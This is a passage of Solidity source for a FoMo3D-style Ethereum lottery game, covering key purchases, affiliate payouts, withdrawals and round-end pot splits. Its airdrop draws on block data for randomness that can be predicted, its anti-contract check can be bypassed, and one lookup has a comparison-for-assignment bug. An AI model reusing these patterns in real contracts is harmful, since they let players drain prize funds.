// (F3D, P3D)
potSplit_[0] = F3Ddatasets.PotSplit(38,2); //48% to winner, 10% to next round, 2% to com
potSplit_[1] = F3Ddatasets.PotSplit(38,2); //48% to winner, 10% to next round, 2% to com
potSplit_[2] = F3Ddatasets.PotSplit(38,2); //48% to winner, 10% to next round, 2% to com
potSplit_[3] = F3Ddatasets.PotSplit(38,2); //48% to winner, 10% to next round, 2% to com
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
/**
* @dev converts all incoming ethereum to keys.
* -functionhash- 0x8f38f309 (using ID for affiliate)
* -functionhash- 0x98a0871d (using address for affiliate)
* -functionhash- 0xa65b37a1 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
*/
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
/**
* @dev essentially the same as buy, but instead of you sending ether
* from your wallet, it uses your unwithdrawn earnings.
* -functionhash- 0x349cdcac (using ID for affiliate)
* -functionhash- 0x82bfc739 (using address for affiliate)
* -functionhash- 0x079ce327 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
* @param _eth amount of earnings to use (remainder returned to gen vault)
*/
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
/**
* @dev use these to register names. they are just wrappers that will send the
* registration requests to the PlayerBook contract. So registering here is the
* same as registering there. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who referred you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 75000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
/**
* @dev returns player earnings per vaults
* -functionhash- 0x63066434
* @return winnings vault
* @return general vault
* @return affiliate vault
*/
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// if player is winner
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
/**
* @dev returns all current round info needed for front end
* -functionhash- 0x747dff42
* @return eth invested during ICO phase
* @return round id
* @return total keys for round
* @return time round ends
* @return time round started
* @return current pot
* @return current team ID & player ID in lead
* @return current player in leads address
* @return current player in leads name
* @return whales eth in for round
* @return bears eth in for round
* @return sneks eth in for round
* @return bulls eth in for round
* @return airdrop tracker # & airdrop pot
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* -functionhash- 0xee0b5d8b
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// early round eth limiter
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 2100000000000000000)
{
uint256 _availableLimit = (2100000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(48)) / 100; //48%
uint256 _com = (_pot / 50); //2%
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// pay 3% out to community rewards
uint256 _p1 = _eth / 100; //1%
uint256 _com = _eth / 50; //2%
_com = _com.add(_p1); //1 + 2 = 3
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
// This ensures Team Just cannot influence the outcome of FoMo3D with
// bank migrations by breaking outgoing transactions.
// Something we would never do. But that's not the point.
// We spent 2000$ in eth re-deploying just to patch this, we hold the
// highest belief that everything we create should be trustless.
// Team JUST, The name you shouldn't have to trust.
_p3d = _com;
_com = 0;
}
// distribute share to affiliate
uint256 _aff = _eth / 10;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
// pay out p3d
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
// deposit to divies contract
uint256 _potAmount = _p3d / 2;
